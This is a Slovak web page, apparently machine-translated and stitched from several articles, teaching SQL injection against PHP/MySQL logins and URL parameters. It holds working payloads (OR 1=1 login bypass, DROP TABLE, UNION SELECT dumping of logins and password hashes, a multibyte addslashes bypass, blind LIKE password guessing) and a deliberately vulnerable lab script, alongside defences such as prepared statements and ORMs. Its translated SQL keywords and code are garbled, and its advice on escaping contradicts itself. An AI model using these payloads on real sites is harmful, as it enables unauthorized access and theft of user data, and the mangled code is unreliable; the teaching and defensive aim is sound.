Prítomnosť mnohých hotových softvérových nástrojov vám umožňuje vykonať hĺbkovú analýzu lokality z hľadiska známych zraniteľností. Jedným z najobľúbenejších produktov je kali linux. Toto je obraz operačného systému založeného na Linuxe, ktorý obsahuje veľké množstvo pomôcok a programov, ktoré dokážu vykonať komplexnú analýzu sily stránky.

Prečo potrebujete vedieť, ako hacknúť webovú stránku? Všetko je veľmi jednoduché - je to potrebné, aby ste mali predstavu o potenciálne zraniteľných oblastiach vášho projektu alebo webovej stránky. Najmä ak ide o internetový obchod s možnosťou platiť online, kde môže útočník napadnúť platobné údaje používateľa.

Pre profesionálny výskum budú môcť služby informačnej bezpečnosti kontrolovať lokalitu podľa rôznych kritérií a hĺbky. Počnúc jednoduchým vložením HTML až po sociálne inžinierstvo a phishing.

Prajeme vám veľa úspechov pri jeho dokončení. Výsledky vašej pasáže budú zverejnené neskôr (sledujte novinky na sociálnych sieťach) a všetkým, ktorí prešli, bude zaslaná aj pozvať zaregistrovať sa na stránke.

Lajkujte, zdieľajte s priateľmi a kolegami, repostujte na sociálnych sieťach.

Všetci programátori čítali alebo aspoň počuli o metódach hackovania zabezpečenia webových stránok. Alebo dokonca narazili na tento problém. Na druhej strane, predstavivosť tých, ktorí chcú stránku prelomiť, je nekonečná, takže všetky úzke miesta musia byť dobre chránené. Preto by som rád začal sériu krátkych článkov, ktoré predstavia základné metódy a techniky hackovania webových stránok.

V prvom článku by som chcel popísať a vysvetliť niektoré bežné metódy na hacknutie jednej z najzraniteľnejších častí webu – formulárov. Pôjdem do podrobností o tom, ako používať tieto techniky a ako predchádzať útokom, ako aj o testovaní bezpečnosti.

SQL injekcia

SQL injection je technika, pri ktorej útočník zadáva SQL príkazy do vstupného poľa na webovej stránke. Týmto vstupom môže byť čokoľvek – textové pole vo formulári, parametre _GET a _POST, cookies atď. Táto metóda bola veľmi efektívna pred príchodom frameworkov vo svete PHP. Ale tento hack môže byť stále nebezpečný, ak nepoužívate ORM alebo iné rozšírenia pre dátový objekt. prečo? Kvôli spôsobu odovzdávania parametrov do SQL dotazu.

"Slepé" injekcie

Začnime klasickým príkladom SQL príkazu, ktorý vráti používateľa pomocou hash prihlasovacieho mena a hesla (prihlasovacia stránka)

Príklad 1

mysql_query("SELECT id, login FROM users WHERE login = ? a password = hash(?)");

Do výrazu dávam otázniky kvôli rôznym variáciám tohto riešenia. Prvá možnosť je podľa môjho názoru najzraniteľnejšia:

Príklad 1a

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" a heslo = hash("" . $password . "")");

V tomto prípade kód nekontroluje zadanie neplatných údajov. Hodnoty sa prenášajú priamo zo vstupného formulára do SQL dotazu. V najlepšom prípade tu používateľ zadá svoje používateľské meno a heslo. Aký je najhorší scenár? Skúsme hacknúť tento formulár. Dá sa to dosiahnuť odovzdaním „pripravených“ údajov. Skúsme sa prihlásiť ako prvý používateľ z databázy a vo väčšine prípadov ide o účet správcu. Aby sme to dosiahli, namiesto zadania prihlasovacieho mena odošleme špeciálny reťazec:

"ALEBO 1=1; --

Prvý citát môže byť aj jednoduchý, takže jeden pokus o hacknutie nemusí stačiť. Na konci je bodkočiarka a dva spojovníky, aby sa všetko, čo nasleduje, zmenilo na komentár. V dôsledku toho sa vykoná nasledujúci SQL dotaz:

SELECT id, login FROM users WHERE login = “;” ALEBO 1=1 LIMIT 0,1; - a heslo = hash(“;Niektoré heslo”)

Vráti prvého používateľa z databázy a prípadne sa prihlási do aplikácie ako tento používateľ. Dobrým krokom by bolo pridať LIMIT na prihlásenie ako každý jednotlivý používateľ. Toto je jediná vec potrebná na prejdenie každej hodnoty.

Vážnejšie spôsoby

V predchádzajúcom príklade nie je všetko také strašidelné. Možnosti v ovládacom paneli správcu sú vždy obmedzené a skutočne prelomiť stránku by dalo veľa práce. Ale útok prostredníctvom SQL injection môže viesť k oveľa väčšiemu poškodeniu systému. Zamyslite sa nad tým, koľko aplikácií je vytvorených s hlavnou tabuľkou „užívatelia“ a čo by sa stalo, keby útočník zadal takýto kód do nechránenej formy:

Moje obľúbené prihlasovacie meno"; Používatelia DROP TABLE; --

Tabuľka „používatelia“ bude vymazaná. To je jeden z dôvodov, prečo robiť zálohy databázy častejšie.

_GET parametre

Všetky parametre vyplnené prostredníctvom formulára sa prenášajú na server jednou z dvoch metód - GET alebo POST. Najbežnejším parametrom odovzdávaným cez GET je id. Toto je jedno z najzraniteľnejších miest pre útoky a nezáleží na tom, aký typ adresy URL použijete – ` http://example.com/ users/?id=1` alebo ` http://example.com/ užívatelia/1`, alebo ` http://......./.../ príspevok/35 `.

Čo sa stane, ak do adresy URL vložíme nasledujúci kód?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Pravdepodobne takáto požiadavka vráti používateľovi prihlasovacie meno a... hash jeho hesla. Prvá časť požiadavky `AND 1=0` zmení to, čo jej predchádza, na nepravdu, takže nebudú prijaté žiadne záznamy. A druhá časť požiadavky vráti údaje vo forme pripravených údajov. A keďže prvým parametrom je id, ďalším bude prihlasovacie meno používateľa a hash jeho hesla a niektoré ďalšie parametre. Existuje mnoho programov, ktoré používajú hrubú silu na dekódovanie hesla, ako je ten v príklade. A keďže používateľ môže používať rovnaké heslo pre rôzne služby, je možné k nim získať prístup.

A tu je to zaujímavé: je úplne nemožné brániť sa proti tomuto typu útoku pomocou metód ako `mysql_real_escape_string`, `addslashes` atď. d. V zásade neexistuje spôsob, ako sa vyhnúť takémuto útoku, takže ak sú parametre odovzdané takto:

"SELECT id, login, email, param1 FROM users WHERE id = " . addlashes($_GET["id"]);"

problémy nezmiznú.

Escapovanie znakov v reťazci

Keď som bol v programovaní nováčik, ťažko som pracoval s kódovaním. Nechápal som, aký je medzi nimi rozdiel, prečo používať UTF-8, keď potrebujete UTF-16, prečo databáza vždy nastaví kódovanie na latin1. Keď som to všetko konečne začal chápať, zistil som, že by bolo menej problémov, keby som všetko ponechal v jednom kódovacom štandarde. Pri triedení tohto všetkého som si všimol aj bezpečnostné problémy, ktoré vznikajú pri prevode z jedného kódovania do druhého.

Problémom popísaným vo väčšine predchádzajúcich príkladov sa dá vyhnúť použitím jednoduchých úvodzoviek v dotazoch. Ak použijete addlashes() , útoky SQL injection, ktoré sa spoliehajú na jednoduché úvodzovky so spätnou lomkou, zlyhajú. Ale takýto útok môže fungovať, ak jednoducho nahradíte znak kódom 0xbf27 , addlashes() ho prevedie na znak s kódom 0xbf5c27 – a toto je úplne platný znak jednoduchých úvodzoviek. Inými slovami, `뼧` prejde cez lomítka () a potom ho mapovanie MySQL skonvertuje na dva znaky 0xbf (¿) a 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addlashes($_GET["login"]) . ";"";

Tento príklad môže byť napadnutý prejdením 뼧 alebo 1=1; -- do prihlasovacieho poľa vo formulári. SQL engine vygeneruje finálny dotaz takto:

SELECT * FROM users WHERE login = "¿" ALEBO 1=1; --

A vráti prvého používateľa z databázy.

Ochrana

Ako chrániť aplikáciu? Existuje množstvo metód, ktorých použitie nespraví aplikáciu úplne nezraniteľnou, no prinajmenšom zvýši jej bezpečnosť.

Pomocou mysql_real_escape_string

Funkcia addlashes() je nespoľahlivá, pretože neumožňuje veľa prípadov hackerov. mysql_real_escape_string takéto problémy nemá

Používanie MySQLi

Toto rozšírenie MySQL môže pracovať so súvisiacimi parametrami:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $meno, $id); $stmt->execute();

Používanie CHOP

Dlhá cesta k náhrade parametrov:

$dbh = nové PDO("mysql:dbname=testdb;hostiteľ=127.0.0.1", $user, $heslo); $stmt = $dbh->prepare("INSERT DO REGISTRY (meno, hodnota) HODNOTY (:meno, :hodnota)"); $stmt->bindParam(":meno", $meno); $stmt->bindParam(":hodnota", $hodnota); // vložte jeden riadok $name = "one"; $hodnota = 1; $stmt->execute();

Krátka cesta:

$dbh = nové PDO("mysql:dbname=testdb;hostiteľ=127.0.0.1", $user, $heslo); $stmt = $dbh->prepare("AKTUALIZOVAŤ SADA ľudí meno = :new_name WHERE id = :id"); $stmt->execute(pole("new_name" => $name, "id" => $id));

Pomocou ORM

Použiť ORM a PDO a zviazať (použiť väzbu) parametre. Vyhnite sa SQL vo svojom kóde, ak vo svojom kóde vidíte SQL, niečo s tým nie je v poriadku.

ORM sa postará o bezpečnosť v úzkych miestach pri overovaní kódu a parametrov.

závery

Účelom tejto série nie je poskytnúť kompletný návod na hackovanie webových stránok, ale zaistiť bezpečnosť aplikácií a zabrániť útokom z akéhokoľvek zdroja. Tento článok som sa snažil napísať nielen pre programátorov – tí by si mali byť vedomí akýchkoľvek hrozieb v kóde a vedieť im predchádzať, ale aj pre inžinierov kvality – pretože ich úlohou je takéto problémy sledovať a hlásiť .

Podstata SQL injekcií

Pravdepodobne ste už počuli vtip z internetu: “ Prečo je to rovnaké vo všetkých lekciách kreslenia: Napríklad lekcia o kreslení sovy. Najprv pol hodiny podrobne kreslíme oko sovy. A potom - raz - za päť minút - nakreslíme zvyšok sovy».

Dokonca je o tom aj obrázok:

O SQL injekciách je veľa materiálu: články, knihy, video kurzy (platené aj bezplatné). Nie veľa z nich však pridáva pochopenie v tejto otázke. Najmä ak ste začiatočník. Dobre si pamätám svoje pocity: tu je kruh, tu je zvyšok sovy...

Účelom tejto poznámky je pritiahnuť oko na sovu a poskytnúť normálne, jednoduché vysvetlenie, čo sú SQL injekcie, aká je ich podstata, aké sú nebezpečné a prečo.

Pre experimenty budeme mať veľmi jednoduchý skript, ktorý je zraniteľný voči SQL injection:

Ak chcete získať prístup do regionálnej knižnice Bobruisk, zadajte svoje poverenia:

Zadajte svoje meno

Zadajte svoje heslo


dotaz("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); ) $meno = filter_input(INPUT_GET, "meno"); $heslo = filter_input(INPUT_GET, "heslo"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" AND password = $password")) ( while ($obj = $result->fetch_object()) ( echo "

Tvoje meno:$obj->name

Váš stav:$obj->stav

Knihy, ktoré máte k dispozícii:$obj->knihy


"; ) ) else ( printf("Chyba: %sn", $mysqli->error); ) $mysqli->close(); ?>

Oveľa viac pochopíte, ak budete robiť všetko so mnou. Takže tu to je. Obsahuje dva súbory: index.php A db_library.sql. Umiestnite súbor index.php kdekoľvek na server – toto je náš zraniteľný skript. A súbor db_library.sql je potrebné importovať napríklad pomocou phpMyAdmin.

V súbore index.php je užívateľské meno databázy nastavené na root a heslo je prázdne. Svoje údaje môžete zadať úpravou riadku:

$mysqli = new mysqli("localhost", "root", "", "db_library");

Podľa legendy ide o prihlasovací formulár do online verzie regionálnej knižnice Bobruisk. Už sme dostali poverenia: užívateľské meno - Demo, heslo - 111.

Vstúpme do nich a uvidíme:

Naše poverenia boli prijaté, na obrazovkách sa zobrazuje naše meno, stav a knihy, ktoré máme k dispozícii. Môžete to skúsiť s akýmikoľvek inými údajmi (ak si zmeníte meno alebo heslo), nebudeme sa môcť prihlásiť a prezerať si knihy, ktoré sú k dispozícii na čítanie. Nemáme tiež žiadny spôsob, ako zistiť, ktoré knihy sú dostupné pre ostatných, pretože nepoznáme ich používateľské meno a heslo.

Pozrime sa na zdrojový kód, aby sme pochopili, ako došlo k žiadosti o databázu:
Slovo VYBRAŤ v dotaze SQL ukazuje, aké údaje je potrebné získať. Môžete napríklad zadať názov SELECT alebo názov SELECT, heslo. Potom by sa v prvom prípade získalo iba meno z tabuľky av druhom - iba meno a heslo. Hviezdička hovorí, že musíte získať všetky hodnoty. Tie. SELECT * - to znamená získať všetky hodnoty.

OD povie, odkiaľ ich potrebujete získať. Za FROM nasleduje názov tabuľky, t.j. položka FROM `členovia` hovorí získať z tabuľky `členovia`.

Ďalej KDE, ak ste študovali nejaké programovacie jazyky, potom sa toto slovo najviac podobá na „If“. A potom sú tu podmienky, tieto podmienky môžu byť pravdivé (1) alebo nepravdivé (0). V našom prípade

(meno = '$meno') A (heslo = '$heslo')

znamená, že podmienka bude pravdivá, ak sa odovzdaná premenná $meno rovná hodnote poľa s názvom v tabuľke a odovzdaná premenná '$heslo sa rovná hodnote poľa hesla v tabuľke. Ak nie je splnená aspoň jedna podmienka (nesprávne používateľské meno alebo heslo), z tabuľky sa nezoberie nič, t.j. výraz SELECT * FROM `členovia` WHERE meno = '$meno' AND heslo ='$heslo' znamená: v v tabuľke `členovia`, vezmite hodnoty všetkých polí, ak je pre nich splnená podmienka - odovzdané používateľské meno a heslo sa zhodujú s tými, ktoré sa nachádzajú v tabuľke.

To je jasné. Vložme teraz napríklad jednu úvodzovku s používateľským menom:

Adresný riadok:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Neboli prijaté žiadne údaje, namiesto toho sa zobrazuje chyba:
Keď sme zadali správne údaje, naša požiadavka vyzerala takto:
Pridaním cenovej ponuky sa náš dopyt zmení na:
Dal som ďalšie medzery kvôli prehľadnosti, t.j. dostaneme požiadavku
Mimochodom, požiadavka je správna v syntaxi. A hneď po ňom, bez akýchkoľvek oddeľovačov, požiadavka pokračuje:

"A heslo = 111"

To všetko porušuje, pretože počet úvodných a záverečných úvodzoviek nie je rovnaký. Môžete napríklad vložiť inú citáciu:
Adresný riadok:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Chyba zmizla, ale žiadosti to nepridalo žiadny význam. Vadí nám nezmyselný chvostík žiadosti. Ako sa toho môžeme zbaviť?

Existuje odpoveď - toto sú komentáre.

Komentáre v MySQL je možné špecifikovať tromi spôsobmi:

  1. # (hash - funguje až do konca riadku)
  2. - (dve pomlčky - pracujte až do konca riadku, po dvoch pomlčkách potrebujete medzeru)
  3. /* toto je komentár */ skupina štyroch postáv - všetko vo vnútri je komentár, všetko pred alebo za touto skupinou postáv sa za komentár nepovažuje.
Vložme do nášho dopytu komentár s jednou úvodzovkou, za touto úvodzovkou vložíme znak komentára, aby sme zahodili koniec, a znak +, ktorý označuje medzeru, aby dopyt dopadol takto:
Adresný riadok:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

Nielenže chyba zmizla, ale používateľovi Demo sa zobrazili správne údaje. Odvtedy má naša žiadosť formu
predsa ten konský chvost -+ ‘A heslo =’111’ zmenil na komentár a už neovplyvňuje požiadavku.

Pozrite sa ešte raz na novú žiadosť:
A už nekontroluje heslo! Tie. Keďže poznáme mená legitímnych používateľov, ale nepoznáme ich heslá, môžeme zobraziť ich osobné údaje. Tie. Už sme začali využívať SQL injection.

Žiaľ, nepoznám žiadne legitímne mená a potrebujem vymyslieť niečo iné.

Pozrime sa bližšie na túto časť žiadosti:
Pamätáte si AND, ktorý sa používa v prvom dotaze? Znamená logické operácie AND. Dovoľte mi pripomenúť, že logická operácia „AND“ vytvorí „pravda“ (1) iba vtedy, ak sú oba výrazy pravdivé. Ale logický operátor "OR" vytvára "true" (1), aj keď je aspoň jeden z výrazov pravdivý. Tie. výraz
bude vždy pravda, vždy vráti 1. Pretože jeden z dvoch porovnávaných výrazov vždy vráti 1.

Tie. musíme vytvoriť výraz, ktorý vyzerá takto:
Adresný riadok:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ ALEBO 1 -+ &password=111

výsledok:

Výsledok je vynikajúci! Dostali sme zoznam všetkých záznamov v tabuľke.

ORDER BY a UNION sú hlavnými priateľmi SQL injekcií

Už sme dostali údaje, ktoré boli nedostupné pre tých, ktorí nemali platné používateľské meno a heslo. Môžem ešte niečo získať? Áno, môžete získať úplný výpis tejto tabuľky (dovoľte mi pripomenúť, že stále nemáme heslá. Navyše môžeme všetky údaje zo všetkých databáz na tomto serveri získať cez jednu malú dierku!

UNION umožňuje kombinovať SQL dotazy. V reálnom živote sú moje úlohy jednoduché, a teda jednoduché dotazy do databáz a schopností UNION ja to nepoužívam. Ale pre SQL injekcie neexistuje hodnotnejšie slovo ako toto.

UNION umožňuje pomerne flexibilne kombinovať SQL dotazy s SELECT, a to aj z rôznych databáz. Je tu však dôležitá požiadavka na syntax: počet stĺpcov v prvom SELECT sa musí rovnať počtu stĺpcov v druhom SELECT.

ZORADIŤ PODĽA nastavuje triedenie údajov prijatých z tabuľky. Môžete triediť podľa názvu stĺpca alebo podľa jeho čísla. Okrem toho, ak neexistuje stĺpec s týmto číslom, zobrazí sa chyba:

Adresný riadok:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ OBJEDNAŤ 1 -+ &password=111

Žiadosť vyzerá takto:
Používateľské meno sme nahradili hodnotou -1, aby sa nezobrazovali žiadne údaje.

Neexistuje žiadna chyba, nie je ani chyba pri požiadavkách
A tu je žiadosť
zodpovedá panelu s adresou

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ OBJEDNAŤ DO 6 -+ &password=111

vyskytla sa chyba

To znamená, že údaje sa vyberajú z tabuľky v piatich stĺpcoch.

Náš dotaz vytvárame pomocou UNION:

Ako som povedal, počet polí by mal byť rovnaký v oboch SELECToch, ale to, čo je v týchto poliach, nie je veľmi dôležité. Môžete napríklad jednoducho zadať čísla - a práve tie sa zobrazia. Môžete zadať NULL - potom sa namiesto poľa nezobrazí nič.
Adresný riadok:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

Ďalším spôsobom, ako zistiť počet stĺpcov, je použiť rovnaký UNION. Pomocou rebríka pridáme počet stĺpcov:
Všetky vyvolajú rovnakú chybu:

Robte to, kým nezmizne chybové hlásenie.

Upozorňujeme, že obsah niektorých polí UNION SELECT 1,2,3,4,5 sa zobrazí na obrazovke. Namiesto čísel môžete zadať funkcie.

Čo napísať do SELECT

Existuje niekoľko funkcií, ktoré možno napísať priamo v UNION:

  • DATABÁZA()- zobraziť názov aktuálnej databázy
  • SÚČASNÝ UŽÍVATEĽ()- zobrazuje používateľské meno a názov hostiteľa
  • @@datadir- zobrazí absolútnu cestu k databáze
  • USER()- Používateľské meno
  • VERZIA()- verzia databázy
V našom príklade sú zobrazené polia 2, 4 a 5. T.j. môžeme použiť ktorékoľvek z týchto polí.

Použitie DATABASE() v UNION SELECT

Adresa:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &password=111

výsledok:

Získanie názvov tabuliek, polí a výpisu databázy

V databáze informačná_schéma je tam tabuľka tzv tabuľky. Táto tabuľka obsahuje zoznam všetkých tabuliek, ktoré sú prítomné vo všetkých databázach na tomto serveri. Naše tabuľky si môžeme vybrať vyhľadávaním v poli tabuľková_schéma Názov našej databázy je ‘db_library’ (názov sme našli pomocou DATABASE()).

Toto sa nazýva úplná technika UNION. Na internete je o nej dostatok materiálu. Na mojom serveri MySQL nefunguje úplná technika UNION. Zobrazuje sa mi chyba
Nefunguje to kvôli zakriveniu ramien, pretože táto technika tiež neprináša výsledky so sqlmap:

Niečo sa pokazilo s plnou technikou UNION (môže to byť spôsobené obmedzením počtu získaných záznamov). Návrat k čiastočnej technike UNION

Môže to byť spôsobené verziou MySQL 5.6. Pretože Nemôžem uvádzať príklady z praxe a nemám záujem prepisovať pokazené príkazy iných ľudí – teraz, aj bezo mňa, je na internete toľko „veľkých teoretikov“, koľko chcete, tak som sa rozhodol okamžite prejsť na berúc do úvahy čiastočnú techniku ​​UNION. Nie je to však najjednoduchšia technika a článok je už dosť dlhý.

V ďalšej časti článku budeme študovať čiastočnú techniku ​​UNION, pomocou ktorej získame všetky údaje na serveri: názvy databáz, názvy ich tabuliek a polí v týchto tabuľkách, ako aj ich obsah . Kým čakáte, kým sa objaví druhá časť, precvičte si, prečítajte si o SQL injekciách a technike UNION; na čítanie odporúčame aj nasledujúce články:

P.S. aha, zabudol som na LIMIT. Nabudúce budem hovoriť aj o úlohe LIMIT v SQL injekciách.

Injekcie SQL – vkladanie škodlivého kódu do databázových dotazov – sú najnebezpečnejším typom útoku. Pomocou SQL injekcií môže útočník nielen získať súkromné ​​informácie z databázy, ale za určitých podmienok v nej aj vykonávať zmeny.

Zraniteľnosť vstrekovania SQL sa vyskytuje, pretože informácie o používateľovi sú zahrnuté do databázového dotazu bez správneho spracovania: aby sa zabezpečilo, že skript nebude zraniteľný, je potrebné zabezpečiť, aby všetky používateľské údaje skončili vo všetkých databázových dotazoch v uniknutej forme. Požiadavka univerzálnosti je základným kameňom: porušenie spáchané v jednom skripte robí celý systém zraniteľným.

Príklad zraniteľnosti

Predpokladajme, že existuje skript, ktorý zobrazuje zoznam používateľov z daného mesta, pričom ako parameter GET berie ID mesta. Skript bude prístupný cez HTTP na /users.php?cityid=20

Vo vyššie uvedenom skripte vývojár vloží parameter GET do dotazu SQL, čo znamená, že parameter GET bude vždy obsahovať číslo. Útočník by mohol odovzdať reťazec ako parameter a tým poškodiť požiadavku. Napríklad bude pristupovať k skriptu ako /users.php?cityid=20; VYMAZAŤ * OD používateľov
SQL dotaz bude vyzerať takto:

Požiadavka sa vykoná a skript vráti nielen používateľov zo zadaného mesta, ale aj zoznam všetkých používateľov, ktorých heslo sa zobrazí namiesto ich skutočného mena.

Ako sa chrániť?

Uzatvárajme informácie o používateľovi do jednoduchých úvodzoviek. Pomôže to?

Z vyššie uvedeného príkladu môžete vidieť, že uzatvoriť jednoduché úvodzovky nestačí. Musíte tiež zadať úvodzovky obsiahnuté v reťazci. Aby to bolo možné, PHP poskytuje funkciu mysql_real_escape_string(), ktorá pridáva spätnú lomku pred každú citáciu, spätnú citáciu a niektoré ďalšie špeciálne znaky. Pozrime sa na kód:

Takže na ochranu pred injekciami SQL musia byť všetky externé parametre, ktoré môžu obsahovať text, spracované pomocou mysql_real_escape_string() a sú uvedené v jednoduchých úvodzovkách.

Ak viete, že parameter by mal nadobudnúť číselnú hodnotu, môžete ho previesť na číselnú formu explicitne pomocou funkcie intval() alebo floatval(). V tomto príklade by sme mohli použiť:

$sql = "VYBERTE používateľské meno, skutočné meno
OD používateľov
WHERE cityid=""
.intval ( $_GET ["cityid" ] ) .""" ;

Rozdiely medzi mysql_real_escape_string() a mysql_escape_string()

mysql_real_escape_string() je vylepšená verzia funkcie mysql_escape_string(), ktorá sa široko používa na generovanie bezpečných dopytov do databázy MySQL. Rozdiel medzi týmito dvoma funkciami je v tom, že mysql_real_escape_string() funguje správne s viacbajtovým kódovaním.

Predpokladajme, že v spracovávaných údajoch je znak (povedzme v UTF-8), ktorého kód pozostáva z dvoch bajtov – hexadecimálnych 27 a 2B (desatinných 39 a 43). mysql_escape_string() zaobchádza s každým bajtom údajov, ktoré mu boli odovzdané, ako so samostatným znakom (presnejšie ako s kódom samostatného znaku) a rozhodne, že sekvencia bajtov 27 a 2B sú dva rôzne znaky: jedna úvodzovka (") a znak plus (+). Pretože funkcia akceptuje úvodzovky ako špeciálny znak, pred bajt s kódom 27 sa pridá lomka (\), ktorá je v skutočnosti súčasťou nejakého neškodného znaku. V dôsledku toho sa údaje odošlú na databázy v zdeformovanej podobe.

Stojí za zmienku, že mysql_real_escape_string() funguje správne vo všetkých prípadoch a môže úplne nahradiť mysql_escape_string().

mysql_real_escape_string() je v PHP k dispozícii od verzie 4.3.0.

Ďalšie príklady

Pozreli sme sa na najjednoduchší príklad, ale v praxi môže byť zraniteľný dotaz zložitejší a nezobrazuje používateľovi jeho výsledky. Ďalej zvážime príklady SQL injekcií v niektorých zložitejších prípadoch bez nároku na úplnosť.

Injekcia v zložitých dopytoch

V najjednoduchšom príklade bolo možné vložiť kód na koniec SQL dotazu. V praxi môžu byť na konci SQL dotazu dodatočné podmienky, operátory triedenia, zoskupenia a iné SQL konštrukcie. V každom konkrétnom prípade sa útočník pokúsi vložiť škodlivý prvok tak, aby požiadavka ako celok zostala syntakticky správna, ale plnila inú funkciu. Tu sa pozrieme na najjednoduchší príklad zraniteľnej požiadavky s dodatočnou podmienkou.

V dôsledku toho veková podmienka<35 neovplyvní vzorku, pretože Operátor OR má nižšiu prioritu ako operátor AND a WHERE z vyššie uvedeného dotazu možno napísať inak ako WHERE (cityid="20" AND 1 ) OR ("1" AND vek<"35" ) (pamätajte, že výraz KDE 1 je vždy pravdivý). Výsledkom bude, že podmienke budú vyhovovať riadky s cityid="20" aj riadky s vekom<35, причем наличие последних не обязательно.

V prípade zložitých dotazov si úspešné SQL injekcie vyžadujú určitú kreativitu, ale dá sa očakávať, že nejakú budú mať aj útočníci.

Výsledky dotazu sa používateľovi nezobrazia

Môže sa stať, že dopyt, ktorého výsledky sa používateľovi nezobrazia, je zraniteľný. Môže to byť napríklad pomocná požiadavka:

$sql = "SELECT počet(*)
OD používateľov
WHERE userid=""
.$_GET [ "identifikátor používateľa" ] .""" ;

Dotaz uvedený vyššie iba kontroluje prítomnosť používateľa s daným ID používateľa: ak vráti akúkoľvek nenulovú hodnotu, zobrazí sa používateľský profil s príslušným ID používateľa, ale ak sa vráti 0 (to znamená, že neexistujú žiadni používatelia, ktorí by spĺňali požiadavky), zobrazí sa správa „používateľ sa nenašiel“.

V tomto prípade je heslo (alebo iné informácie) určené hrubou silou. Útočník odovzdá reťazec ako parameter userid 2" A heslo AKO "a%". Záverečná požiadavka:

SELECT počet (*) FROM users WHERE userid="2" A heslo AKO "a%"

Útočník dostane „používateľ sa nenašiel“, ak heslo nezačína písmenom „a“, alebo štandardná stránka profilu používateľa, inak. Prvé písmeno hesla je určené hrubou silou, potom druhé atď.

závery

  • Všetky dotazy, ktoré používajú externé údaje, musia byť chránené pred injekciami SQL. Externé údaje môžu byť prenášané nielen ako parametre GET, ale aj pomocou metódy POST, prevzaté zo súboru COOKIE, zo stránok tretích strán alebo z databázy, do ktorej mal používateľ možnosť zadať informácie.
  • Všetky číselné parametre by mali byť explicitne prevedené na číselnú formu pomocou funkcií intval() A floatval()
  • Všetky parametre reťazca by mali byť escapované pomocou mysql_real_escape_string() a dajte to do úvodzoviek.
  • Ak je vytvorenie injekcie SQL ťažké, nemali by ste očakávať, že útočník nezistí, ako to urobiť. To platí najmä pre motory, ktorých zdrojový kód je verejný.

Veľa šťastia pri vytváraní bezpečných aplikácií!